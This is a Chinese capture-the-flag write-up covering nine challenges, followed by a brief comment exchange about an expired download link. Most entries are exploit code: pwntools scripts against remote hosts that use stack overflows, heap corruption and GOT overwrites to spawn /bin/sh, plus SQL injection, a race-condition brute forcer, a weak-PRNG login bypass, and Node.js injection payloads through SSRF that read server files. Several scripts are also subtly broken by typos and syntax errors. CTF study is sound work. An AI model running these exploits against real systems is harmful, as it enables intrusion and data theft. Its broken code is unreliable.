1 题目名 Pwnme
栈溢出,可以看到存在 get_flag()
函数,构造 payload 调用它即可。input your choice
处填入 0xA4
个字节后可以溢出,然后更改指针到 get_flag()
处。
from pwn import *
p = remote('114.215.43.119', 10001)
p.sendline('5')
payload = 'A'*0xa4 + 'B'*0x04 + p32(0x8048677)
p.sendline(payload)
p.interactive()
2 题目名 MyBlog
/admin/index
处有登录,username
处可以注入,回显在 set-cookie
处。order by 3
和 4
回显不同,union select 1,2,3--
看到 2
出现,在 flag 表中看到flag。
3 题目名 note
EditNote
方法中的 v7
可 strncat(dest, (const char *)v7 + 15, 0xFFFFFFFFFFFFFFFFLL);
中被覆盖,v7
会被 free。
查看内存布局,Lname
在 ptr
前 64 bytes。
将 Lname
尾部设置为虚假的申请的内存块参数,v7
指向 ptr[0]
,ptr[0]
将被 free。
这时候 addnote
,新 malloc
的内存位置将是 ptr
。
在 ptr[0]
写入 atoi
函数重定向表位置。
可以通过 readNote
将 atoi
真实位置读出。
通过给定的 libc
得知 system
函数与 atoi
偏移。
使用 editNote
的 replace
模式将 atoi
重定向表中地址指向 system
,接下来程序执行的 atoi
将变为 system
,写入 sh
与之交互。
from pwn import *
# t = process('./note')
t = remote('114.215.220.77',10001)
def add_note(length, a):
t.recvunitl('--->>')
t.sendline('1')
t.recvunitl(':')
t.sendline(str(length))
t.recvunitl(':')
t.sendline(a)
def edit_insert(id, a):
t.recvunitl('--->>')
t.sendline('3')
t.recvunitl('id')
t.sendline(str(id))
t.recvunitl('append')
t.sendline('2')
t.recvunitl(':')
t.sendline(a)
def edit_rewrite(id, a):
t.recvunitl('--->>')
t.sendline('3')
t.recvunitl('id')
t.sendline(str(id))
t.recvunitl('append')
t.sendline('1')
t.recvunitl(':')
t.sendline(a)
def show_note(id):
t.recvunitl('--->>')
t.sendline('2')
t.recvunitl('id')
t.sendline(str(id))
t.recvunitl('is ')
atoi_addr = u64(t.recvline().strip('\n').ljust(8, '\x00'))
return atoi_addr
def main():
t.recvunitl('name')
t.sendline('d'*0x30 + p64(0) + p64(0x70))
t.recvunitl('address:')
t.sendline(p64(0) + p64(0x70))
add_note(128, 'd'*94)
edit_insert(0, 'f'*33 + 'c' + p32(0x6020E0+0x40)
add_note(0x60, p64(0x602088) # ptr addr
atoi_addr = show_note(0)
base = atoi_addr - 0x36e80
# print hex(base)
system = base + 0x45390
# print hex(system)
edit_rewrite(0, p64(system))
t.recvunitl('--->>')
t.sendline('/bin/sh')
t.interactive()
if __name__ == '__main__':
main()
4 题目名 ASCII字符图库
扫目录发现有备份文件,可以获取源码,http://106.14.79.226/login.php.bak,http://106.14.79.226/register.php.bak
在 login.php 中存在条件竞争。
$uid = $row['id'];
$sql = "SELECT isRestricted from privs where userid='$uid' and isRestricted=TRUE;";
$result = mysqli_query($conn, $sql);
$row = $result->fetch_assoc();
if($row['isRestricted']){
?>
<h2>此账户限制登录</h2>
<?php
}else{
?>
<h2><?php include('../flag');?></h2>
<?php
}
跳到 else 分支的时候直接包含 flag,暴力发包跑一下。
import requests
import threading
def register(data):
re1 = requests.post(url='http://139.196.164.190/register.php', data=data)
print re1.content
def login(data):
re2 = requests.post(url='http://139.196.164.190/login.php', data=data)
print re2.content
if 'flag' in re2.content:
print 'success!!!'
def main():
for i in range(50):
username = 'hackeee' + str(i)
password = '123'
data = {'username': username, 'password': password}
t1 = threading.Thread(target=register, args=(data,))
t2 = threading.Thread(target=login, args=(data,))
t1.start()
t2.start()
t1.join()
t2.join()
if __name__ == '__main__':
main()
可以照抄HCTF的脚本了。
5 题目名 简单的RSA
分析题目源代码,发现已知 $e$, $d$, $n$。
因为 $e \times d - 1 = k \times \varphi(n)$,而 $\varphi(n) = (p-1) \times (q-1)$,可以猜测 $\varphi(n)$ 和 $n$ 位数相同,通过遍历 $k$ 可以得到一个和 $n$ 接近的 $\varphi(n)$。
已知 $n$ 和 $\varphi(n)$,可以用构造一个一元二次方程,求出 $p$, $q$。
然后新的 $p$ 和 $q$ 的高 2048-900 比特与 $p$, $q$ 一致,已知。故可以利用格基归约的方法,使用推广的 coppersmith 攻击。SageMath代码如下:
n = 0x73cec712124b33c0294e01eb52e8c3cd2fe9ddbcbf457b3b950360063dfae42cbbe9855bd986bcfea0948fadfb252f5e2ff3c982ff47afb6596a496636f1fc5ecfe9f5db7620b23fe9e30d230aa9299ab9a78bfb5e0630fd1149259b2b2104ea65d2e27b89785e4bf01d0594d9f94575cbcc3383f63c5aabe4d5b48eb761cce3ab21689b3f3155b5f15efee240d5ac11cee2acbd019de7c06f607ea618b5cd735b5a6972d2b446a12ff58cf8314822fa5ea09d0963acd00441b2a1b37aca01d7f39052927db98a0bd5ca1c49a7ad67923e3aac30ecd33cc8b4b30a40cdb3acc721ee5da53a02977cee959affe672a668525eb78df96af0a14f4ac04fab68efa8eabe9535e1064a5fc2ff7cac9520210311db0c3bf91101bc55a67a81e4f69364c724ee6ad6bdc301df642c9392e9befa4ff0d65481adb6feac251cd207044587da9710809700246cb3c63e659a97249f5e7418568e37db2fb2c1115e719d6682bb2e89b4e23d40ba4c532f289e10e0b89a5647c486a09b9e376844171b229d74f871004d4945a702a391a04ac704f43809e972891e6ab33b3c0f03f0b6f9ae005b26be6e647a1865c727277423f59a595187ffbfea13501e23b6b57ef115eaa6febcb207a3112628652a39578847241c33989e84607b0f683b30ddf773348b07360b063d9120a397809591ca18a04cd32ad9cbfe0494ed3ae8d2c5b43fdb51cbL
p_fake = 25469341510015610710601677541490068882874022771473379147959682877979811860690835905177575433486769235926750944378553837429714908846121392087707617153368450157831411033840331452402635316893579428297241392591768100008774205252294780519995317089863801331600746389471563346749402400584048767782402832414560955794979239140648096754408560344380360521300295416056532504527346890878830708030202503589314586128121926254376071861981570648841288044240102936057199541504839050994656267226010545841307490110261343492485615893311098351703701000220286503350522201318815497988460167971677642567134161349144833221240627311534482202273L
pbits = 2048
kbits = 900
pbar = p_fake & (2^pbits-2^kbits)
print "upper %d bits (of %d bits) is given" % (pbits-kbits, pbits)
PR.<x> = PolynomialRing(Zmod(n))
f = x + pbar
x0 = f.small_roots(X=2^kbits, beta=0.4)[0] # find root < 2^kbits with factor >= n^0.3
print x0 + pbar
然后用在线的SageMath服务器SageMathCell跑一下。
求出了新 $p$,因为已知新 $n$,那么新 $q$ 也已知了。
那么新 $\varphi(n)$ 也已知了,对 $e$ 关于新 $\varphi(n)$ 求个逆即得脱密密钥 $d$。
n=0x73cec712124b33c0294e01eb52e8c3cd2fe9ddbcbf457b3b950360063dfae42cbbe9855bd986bcfea0948fadfb252f5e2ff3c982ff47afb6596a496636f1fc5ecfe9f5db7620b23fe9e30d230aa9299ab9a78bfb5e0630fd1149259b2b2104ea65d2e27b89785e4bf01d0594d9f94575cbcc3383f63c5aabe4d5b48eb761cce3ab21689b3f3155b5f15efee240d5ac149318ff80bd72a75fccdc57402aa197b472d98758019df8e9edb31bda82967dc66bcad845df824775eeb66ee304664d7929e8405122f9b0a5406887729dbe9760eb62dd7018087723c07c07082d1d51035fb211a9fc6d8fb5b3ee5bb91af5e3d0b89addce289041a5683a1fe7dc06a3bae283062ba3febdd987b5ac9b9a8ae4b8b02b804accc0a413bb144680fd8d0d8d8bebe176e5a9121f7653c31ede984d234ccce50e688f7048a0bfdfc84004c006ae912c4d4e514c200883e8dabaeb4bf57a5f628eb4bd2e6688d9b7688bc3eed4ce03831be5044dedbd5fddc43a3274b26c990a0e444fcf4a607de59c4906dfd1ea111920c38b4a365c5838e9cf1a22b146aa7afbc6e2e29ebe35aee4bf4d2fbe186c0f359c71f80b8f6298ad38619168d5986a857f558017c546d6df896c690896601aabd48398e957b77ef0e15d6cda339050b74cda3328c34c889306d089efc95ff467a4a775d3e104642cd9819f002b5db8c5f39b4e8d1a83007276b8a0b7L
e=0x10001
d= 0x37f2646fd190ad1e9f95c50d97cf4590a21e1c766bfd382cafafa2bb41442ce9839aac47944e288de6abfec1b17be4675f492a47f3e600f85a3823df9299d32f46c8a372f39d961f9471914e257f55cf1ef3d7878783fc34b61e1d61da332879c8d9597b0f0dac988916ac349e1d73b615cfbfef778ceeccee4f63dc32b1b7d7213c9199b6acb1d8a5141c94d777a29b89f8e0aea457788eaa9ca43626a24c74ebab355c89e3747626d4899745d148500c91416c782f2b30c9332f5cd32a4d3144d2a407ce9acc00f99dc619d425586285350cff734cdba9d4fad636d7fcbabfa382965005d8343e36ffe72604e557bae5044435ad990b6dca6d922e64387cee4abc0574d2eeeb42dda977be1e1064f6a6b00e78db75a7bf8e6e0c2ac3c6a52b2e6670cad3c907d990e53a7a311ef7b097c7644ff6f2bf96573e47d33031eeabf22620bdbc254a8fff8b0fa6f90d320c45e8d9094c26401f78560e16f77d6e09bc219c9849f1b68dc84ed36eb0cec7df16c4672c16a6b704ef2185ce04539f08688b72d48f9491e55be0095ee74f9622e8ae6835381e2efcd520cd02d1eeeb09bc11ab75bc903053102bc92718f2bf8691561a40026e53e950674f712aaef8cc69360df54c1af8b1f4aef997371b8a108e9b193a51002fe8d61f3991153e7ebd9593d68cd03b2f252c3d9d7a5bf802dcd150bd86028bd3b07cb415b767d716c1L
new_n=0x73cec712124b33c0294e01eb52e8c3cd2fe9ddbcbf457b3b950360063dfae42cbbe9855bd986bcfea0948fadfb252f5e2ff3c982ff47afb6596a496636f1fc5ecfe9f5db7620b23fe9e30d230aa9299ab9a78bfb5e0630fd1149259b2b2104ea65d2e27b89785e4bf01d0594d9f94575cbcc3383f63c5aabe4d5b48eb761cce3ab21689b3f3155b5f15efee240d5ac11cee2acbd019de7c06f607ea618b5cd735b5a6972d2b446a12ff58cf8314822fa5ea09d0963acd00441b2a1b37aca01d7f39052927db98a0bd5ca1c49a7ad67923e3aac30ecd33cc8b4b30a40cdb3acc721ee5da53a02977cee959affe672a668525eb78df96af0a14f4ac04fab68efa8eabe9535e1064a5fc2ff7cac9520210311db0c3bf91101bc55a67a81e4f69364c724ee6ad6bdc301df642c9392e9befa4ff0d65481adb6feac251cd207044587da9710809700246cb3c63e659a97249f5e7418568e37db2fb2c1115e719d6682bb2e89b4e23d40ba4c532f289e10e0b89a5647c486a09b9e376844171b229d74f871004d4945a702a391a04ac704f43809e972891e6ab33b3c0f03f0b6f9ae005b26be6e647a1865c727277423f59a595187ffbfea13501e23b6b57ef115eaa6febcb207a3112628652a39578847241c33989e84607b0f683b30ddf773348b07360b063d9120a397809591ca18a04cd32ad9cbfe0494ed3ae8d2c5b43fdb51cbL
enc_flag=0x3b0487110b2d61683fc9e65717d6431281c25ceda38915c9c2ff16013066e8cbe9d5f6c1f05988333d96e861f1b216f85d537aa70f603b3d20487a18c5e0d3a03556be88f984f508803f4bb25300149e805204c91f7aea038e545cf588a29bcb20113f81b16d9aacdbd820aa48615a5227ab2f329423da0a254c8f318dff4a7b75cf48e5ac18abc2975fee111ee56297fd7778b49320f6427227f21c08391d7429c49b399c366db38467a339229048e50735dff071bf89dbbab22997071a6b5a16935f5b65032f2cefb9c670cddd1470f6bf16d7c46d0fff22b82b2c1d867f4faa60e5daaad35a15ac0413a17beb5371a06f22c646336ae5e5738cfc5e997860056fb8bf1e02f27031ecd2b7983df510c4cdebbc644ea49e99e2376b89a90be8c89e4995c6689cc39d01fcc8ffef416e49684c0a01fdffab4613cb8eddbfa9e14d9b2daca6ad57c4e440a049d04b915ecfd64095c549bb9d22fb502a740a7373c1961c8cb7a58604bcbca3e5a97e28d5f498061db7cfbf07085ec84f47856e88992ab08870cbdb050431260861d0bcc9bbdf9a4164b8581f1f67e86ab854db1769418e300d73cf902509c76969473d0ee1b70c3b24085942fa9782507b359ffe049b18832610b4555b9bfe8eeae14cec53ab21881475f81069a6a33d6e38e3825eeb13874da8f0c91160712090a092286ea3838d88020e459f795783ad099367L
p = 25469341510015610710601677541490068882874022771473379147959682877979811860690835905177575433486769235926750944378553837429714908846121392087707617153368450157831411033840331452402635316893579428297241392591768100008774205252294780519995317089863801331600746389471563346749402400584048767782402832414560955794979239140648096754408560344380360521300295416056532504527346890878830708030202503589314586128121926254376071861981570648841288044240102936057199541504839050994656267226010545841307490110261343492485615893311098351703701000220286503350522201318815497988460167971677642567134161349144833221240627311534482202273L
q = 18549922009255682065873541075490523694236993018017378711472390294347289738564184852893543842874884431799749016007575801573141434444916044586366999351488315491792727433264614393421339756775694364361870792935536914730184638908553444398548728815983615033645725832510366617312824482715041572565651201973381892649356584003444436598024263892174846508030188237071677814016044004832440289894928290725654672618489148762420471282901956872617107075453840794524807351894754626817085978425574873605883098036587598323071317767994487432181224109477252086528459769424114149210975886656634032363487078722904015201345359534672812718167L
print n % p
new_p=25469341510015610710601677541490068882874022771473379147959682877979811860690835905177575433486769235926750944378553837429714908846121392087707617153368450157831411033840331452402635316893579428297241392591768100008774205252294780519995317089863801331600746389471563346749402400584048767782402832414560955794979239140648096754408560344380360521296949892303389907769736015934314142003630949305013818258320986061050152391749744927750414406456844331212916757252664106717050422177732254023115330564252024804793822784448052701331761297133645421217718332137034826156560496020813364370285769780848619094541636625925906815949
new_q=new_n / new_p
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
d=modinv(e,(new_p-1)*(new_q-1))
m=pow(enc_flag,d,new_n)
print hex(m)[2:-1].decode("hex")
6 题目名 login
pyinstaller 打包的 exe,运行解包程序,并没有发现什么有用信息。在它运行后 Temp 目录下生成的几个 dll 中,发现 python35.dll 有 upx 壳,去壳后可看到部分代码。
用 ida 打开 dump 文件,可以看到 Congratulations 字符串,跟进到相关代码。
16 字节数组和索引异或可得到 flag。
a = '50 78 76 6B 34 6B 59 63 49 56 6C 4A 53 65 4F 3F'.split(' ')
flag = []
for i in range(len(a)):
flag.append(int(a, 16) ^ i)
print ''.join(map(chr, flag))
7 题目名 shell
用 UE 打开文件,将头部 HXB_REVERSE
改成 Go build ID
,upx 解压,一个一个函数慢慢查,可以得知输入为 16 位,程序简单地将输入与文件结尾 -48 ~ -64 字节异或后与常数对比,不一致则返回失败,即可逆推输入。
将解压前 shell 文件最后 40 字节内容改写解压后文件后 40 字节,便于调试。
8 题目名 game
Buy_weapon 时 new 一个 buffer,将武器属性,攻击函数等拷贝进去,并将这个 buffer 交给了 playerInfo。
Attack_boss 时,简单的调用 playerInfo 中的武器中的攻击函数
此攻击函数可被控制:
攻击函数中检测自身的使用次数,在最后一次使用完毕后会 free 自身。
在 comment_game
中,malloc
的 buffer 大小与武器 buffer 相同,武器被 free 后,执行 comment_game 时,malloc
的缓冲与 weapon 信息在同一位置,可以借此覆写调用的攻击函数。
通过 comment_game
,填充 16 字节 ascii 字符,show_weapon 时,可以读取到攻击函数的地址,可由此计算出程序基址。
替换攻击函数为 printf
,以泄露 glibc,
获取到 system 地址后,覆写攻击函数,写入 sh 与之交互。
from pwn import *
# t = './game'
t = remote('114.215.41.146', 10001)
def warehouse(count):
t.recvuntil('$')
t.sendline('build_warehouse')
t.recvuntil('want have?\n')
t.sendline(str(count))
def buy(name, tid):
t.recvuntil('$')
t.sendline('buy_weapon')
t.recvuntil('buy?\n')
t.sendline(name)
t.recvuntil('weapon?\n')
t.sendline(str(tid))
def show(tid):
t.recvuntil('$')
t.sendline('show_weapon')
t.recvuntil('warehouse\n')
t.sendline(str(tid))
def attack(tid):
t.recvuntil('$')
t.sendline('attack_boss')
t.recvuntil('warehouse\n')
t.sendline(str(tid))
def comment(co-buff):
t.recvuntil('$')
t.sendline('comment')
t.recvuntil('?\n')
t.send(co-buff)
printf_plt = 0
def leak_addr(addr):
global printf_plt
co-buff = ''
co-buff += '%%%d$s.' % (7)
co-buff = co-buff.ljust(16, '\x00')
co-buff += p32(printf_plt)
co-buff += '\n'
comment(co-buff)
show(0)
t.sendline('attack_boss')
t.recvuntil('warehouse\n')
payload = ''
payload += '0'* 0x04
payload += p32(addr)
t.sendline(payload)
data = p recv(4)
back_addr = u32(data[:4])
return back_addr
def main():
global printf_plt
t.recvuntil('name?\n')
t.sendline('xt')
warehouse(3)
buy('UMP45', 0)
attack(0)
attack(0)
attack(0)
show(0)
co-buff = ''
co-buff += 'd' * 0x16 + '\n'
comment(co-buff)
show(0)
t.recvuntil('Weapon name: ')
t.recv(16)
data = t.recvuntil('price:')[:-7]
addr = u32(data[:4].ljust(4, '\x00'))
proc_addr = addr - 0x1287
# print hex(proc_addr)
atoi_got = 0x0000215c + proc_addr
printf_got = 0x00002124 + proc_addr
atoi_plt = 0x000007f0 + proc_addr
puts_plt = 0x00000780 + proc_addr
show_weapon_func = 0x1287 + proc_addr
printf_plt = 0x00000710 + proc_addr
offset_atoi = 0x2fbb0
atoi_addr = leak_addr(atoi_got)
printf_addr = lead_addr(printf_got)
offset_system = 0x3e800
libc_base = atoi_addr - offset_atoi
system_addr = libc_base + offset_system
co-buff = ''
co-buff += '/bin/sh;'
co-buff = co-buff.ljust(16, '\x00')
co-buff = ""
co-buff += "/bin/sh;"
co-buff = co-buff.ljust(16, '\x00')
co-buff += p32(system_addr)
co-buff += "\n"
comment(co-buff)
p.sendline("attack_boss")
p.recvuntil("warehouse\n")
payload = ""
payload += "0"
p.sendline(payload)
p.interactive()
if __name = '__main__':
main()
9 题目名 White & black(From Team FFF提莫)
www.rar
源码泄露,Function.php auth
函数中有问题。
如果登录的用户名未存在,传入的密码和生成的 4 位随机数进行了比较。再看 RandomStr
函数:
弱随机类型,可预测随机数,前提是得知道之前生成的随机数,不过可以请求几次 login.php 所生成的 csrfToken
保存。
当预测随机数成功后,返回的值会赋给 userid
为 true
。
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import random
import requests
import re
import string
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
url = 'http://114.215.220.241'
s = requests.session()
s.headers = {
"User-Agent":
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.63 Safari/537.36"
}
def ToNum(s):
return [chars.find(i) for i in s]
def ToChar(s):
return ''.join([chars for i in s])
def Random(n):
return ''.join(random.choice(string.letters+string.digits) for _ in range(n))
def CsrfToken():
loginUrl = url + '/login.php'
s.headers['Cookie'] = "PHPSESSID={};".format(Random(16))
res = s.get(loginUrl).content
txt = re.search(r'id="csrfToken" value=(\w+)', res)
if txt:
return txt.group(1)
else:
return
def CrackToken():
rand = []
predict = []
for i in range(2):
nums = ToNum(CsrfToken())
rand.extend(nums)
loginToken = CsrfToken()
rand.extend(ToNum(loginToken))
for i in range(len(rand),len(rand)+4):
rand.append((rand[i-31] + rand[i-3]) % len(chars))
predict.extend(rand[-4:])
predictToken = ToChar(predict)
return loginToken, predictToken
if __name__ == '__main__':
cLoginUrl = url + '/checkLogin.php'
while 1:
loginToken, predictToken = CrackToken()
username = 'tgbdsf'
payload = {
'username': username,
'password': predictToken,
'csrfToken': loginToken,
'submit': 'Login'
}
cookies = {
"PHPSESSID=": Random(32)
}
res = s.post(cLoginUrl , data=payload, cookies=cookies).content
if 'success' in res:
print s.headers['Cookie']
break
访问 admin.php,上传图片。
发现一处疑似 ssrf 接口,Fuzz 文件泄露。
发现文件泄露。
发现敏感接口,测试发现为截图功能。
探测截图功能是什么后端实现的,这里可以发现 js 引擎的提示字眼,考虑是 nodejs 的代码注入。考虑闭合等情况后测试一下。
Payload:
api.1nt3rfac3.com/api.php?filename=test&url=http://27.126.180.187:7890'; page.settings.userAgent = 'test'; // d
由于是 ssrf 二次请求,所以存在空格的地方需要双次编码,其他地方一次编码。
Ua 发现测试成功,接下来注入 nodejs 代码进行文件相关操作,通过 ls
,读取 api.php,读取一模板代码操作可获取 flag,payload和过程如下
/getImg.php?img=api.1nt3rfac3.com/api.php?filename=tdt&url=http://27.126.x.x:7890';var fs=require('fs');var ua="";var p=".";var l=fs.list(p);for(var x=0;x<l.length;x++){ua+=l[x]+";"};page.settings.userAgent=ua;//s
/getImg.php?img=api.1nt3rfac3.com/api.php?filename=tdt&url=http://27.x.x:7890';var fs=require('fs');var ua=btoa(fs.read('api.php'));page.settings.userAgent=ua; // s
/getImg.php?img=api.1nt3rfac3.com/api.php?filename=tdt&url=http://27.126.180.187:7890';var fs=require('fs');var ua=btoa(fs.read('.202f94ca1359a510bb630d429a1048fa4e2bab85'));page.settings.userAgent=ua; // s
题目文件:http://pan.baidu.com/s/1o7CQGSM 密码: 29yf
你好,题目的百度云链接过期了,可以再分享一下吗
链接已经更新。
谢谢